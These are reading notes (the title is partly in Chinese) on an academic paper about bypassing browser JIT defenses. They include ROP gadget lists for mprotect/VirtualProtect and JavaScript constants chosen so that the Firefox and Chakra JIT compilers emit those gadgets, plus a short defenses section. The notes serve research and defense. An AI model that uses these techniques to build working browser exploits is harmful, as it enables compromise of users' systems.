Bypassing Defenses in Browser JIT Engines 摘记

做个摘记 原文连接 The Devil is in the Constants: Bypassing Defenses in Browser JIT Engines


I. INTRODUCTION

A. Problem Statement

  • Modern operating systems (OSs) include features like stack canaries, non-executable pages, and address-space layout randomization (ASLR) , which severely hinder exploitation.
  • Code-reuse techniques such as return-oriented programming require information-leak bugs to reveal the randomized location of code
  • Control-flow integrity (CFI) fine-grained code randomization, and run-time behavioral monitoring promise to protect software from ROP-like attacks
  • Fine-grained CFI and G-Free, offer greater guarantees again control-flow hijacking attacks and ROP.

Modern browsers dynamically generate code through just-in-time (JIT) compilation to accelerate the execution of JavaScript (JS) code at run time.

Code and data were not separated by the code-generation engine, so both the generated native code
and the data it was operating on was placed on the same executable memory pages. It was enough for the attacker to place shellcode in a JavaScript array and then redirect the program’s control-flow to his shellcode in memory. Because ASLR was already in place, attackers created many copies of the data array, which resulted in one of the JIT buffers being allocated in a relatively predictable memory location, where they could transfer control. This technique is commonly referred to as JIT spraying.

Two simple strategies avoid JIT spraying:

  • Placing data in nonexecutable memory pages
  • The amount of memory dedicated to generated code is limited (i.e., the JIT buffer is finite) to prevent the placement of buffers at predictable offsets

Bypass

Using four or eight byte constants within JavaScript code, which are emitted as immediates in
the generated code. The attacker can carefully select these constants to build small instruction segments, called gadgets, and link them in ROP fashion.

B. Our Approach

It is possible to introduce new gadgets within the browsers, and we can use these gadgets to construct useful payloads without using any gadgets from the browsers and their libraries.

II. BACKGROUND

A. ROP Gadgets

Code-reuse

B. JIT Compilation

Compiling does not happen ahead of time, like it happens when programs are compiled, but just-in-time (JIT), exactly when the JavaScript interpreter decides that a particular part of code will be executed repeatedly. The program that compiles a part of JavaScript into native code is called a JIT compiler

III. THREAT MODEL

A. Active Defenses

DEP, ASLR, Stack Canaries, EMET, gadget-free, Browser-specific defenses against code-reuse attacks using the code generated by the JIT compiler are also active.

B. Attacker Capabilities

C. Is this attack unstoppable?

IV. EXPLOITING MOZILLA FIREFOX

The steps required to launch this attack are:

  • The browser renders a malicious web page.
  • JavaScript contained in this page, once compiled, produces a series of gadgets in the JIT buffer.
  • A memory-disclosure bug reveals the locations of the
    gadgets [9].
  • A ROP chain is built with the just constructed gadgets
    and control is transferred to it.
  • The ROP chain calls VirtualProtect (or
    mprotect, depending on the platform) for making a
    data page (where the shellcode is stored) executable.
  • Control is transferred to the shellcode and the browser
    is compromised.

A. Preparation

Loading a register with the required value can be done in two ways. The first is to place the desired value on the stack and use pop with the register name, and the second is to use a mov-like command to copy the value to the register.
Required gadgets for calling mprotect in Linux (32-bit)

1
2
3
4
5
6
7
pop %ebx ; ret ;
pop %ecx ; ret ;
xor %eax , %eax ; ret ;
mov 0x7d , %al ; ret ;
xor %edx , %edx ; ret ;
mov 0x7 , %dl ; ret ;
int 0x80 ; ret ;

The JavaScript program which once compiled will produce the needed gadgets in the JIT buffer.

1
2
3
4
5
6
7
8
9
10
11
12
var g1 = 0 ;

var g7 = 0 ;

for(var i = 0; i <100000; ++ i ) {
g1 = 50011; \\ pop ebx ; ret ;
g2 = 50009; \\ pop ecx ; ret ;
g3 = 12828721; \\ xor eax , eax ; ret ;
g4 = 12811696; \\ mov 0x7d , al ; ret ;
g5 = 12833329; \\ xor edx , edx ; ret ;
g6 = 12781490; \\ mov 0x7 , dl ; ret ;
g7 = 12812493; \\ int 0x80 ; ret ;

B. Exploit Implementation

1
2
movl $0xc3c031 , 0 x6c8 (%eax ) -> 0x06c8080c7c3c03100
0xc3c031 -> xor %eax , %eax ; ret;

V. EXPLOITING INTERNET EXPLORER

Required gadgets for calling VirtualProtect in Windows (64-bit).

1
2
3
4
5
pop %r8 ; ret;
pop %r9 ; ret;
pop %rcx ; ret;
pop %rdx ; ret;
pop %rax ; ret;

A. Why Internet Explorer is different

A series of defenses specifically introduced for preventing the generation of gadgets in the JIT buffer

B. Preparation

constructing the stack-pivoting gadget

C. Exploit Design Considerations

  • Constant Blinding: Any immediate value longer than 2 bytes long is never emitted as is in the JIT buffer. Instead, it is XORed with a random value and then XORed again when it is actually used.
1
2
3
4
5
6
7
8
9
10
var gadget = 0 xc35841;

mov %rcx, 1000000c35841h
mov qword ptr [rax+48h] , %rcx

Chakra
mov %rcx , 3BF43B1820E7ED7Dh
mov %rdx , 3BF53B182024B53Ch
xor %rcx , %rdx
mov qword ptr [%rax+48h] , %rcx
  • Long Gadgets: Since gadgets longer than 2 bytes cannot be encapsulated in immediate values, the gadget must be broken into two parts: the pop part which loads the register with the desired value and the ret part (1 byte).
1
2
3
4
5
6
function f(addr) {
return addr + 0x5841 ;
}
f(0) ;

add %eax , 5841h has been replaced with pop %r8 add byte [%rax] , %al

The important part is that Chakra has placed a conditional jump which is followed if the overflow bit is set:

1
jo 0x00051fd6c0037

Notice, that the addition following the pop instruction sets the overflow bit and thus the flow follows the conditional jump which executes an access violation handler

  • Code Diversification: Chakra adds another diversification layer in the JIT buffer by emitting a random number of nop instructions.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function r8(addr) {
return addr + 0x5841;
}

function r9(addr){
return addr + 0x5941;
}

function emitgadgets( ) {
for(i = 0 ; i < 0xc35841 ; i++ ) {
rax = 0xc358 ;
rcx = 0xc359 ;
rdx = 0xc35a ;
r8(0) ;
r9(0) ;
}
return 0 ;
}
emitgadgets() ;

VI. DISCOVERING THE GADGETS

A. How Information Leaks Work

B. Leaking the JIT Buffer

VII. DEFENSES

A. Existing Defenses

  • preventing the construction of gadgets using techniques such as constant blinding
  • diversifying the JIT buffer so that the created gadgets cannot be located.

B. Proposed Defenses

JIT Analysis: The most obvious defense mechanism is to enhance the JIT compiler with the techniques proposed by G-Free for eliminating all gadgets. This has as a major advantage that the produced code is safe and gadget-free,however this does not come for free.
JavaScript Analysis: As we can observe from the JavaScript payloads used for attacking Mozilla Firefox and IE special patterns, such as constant values that can be interpreted as x86 opcodes, are utilized. Therefore, source analysis could infer if a JavaScript program is targeting the JIT engine. However, modern obfuscation techniques can make such analysis hard.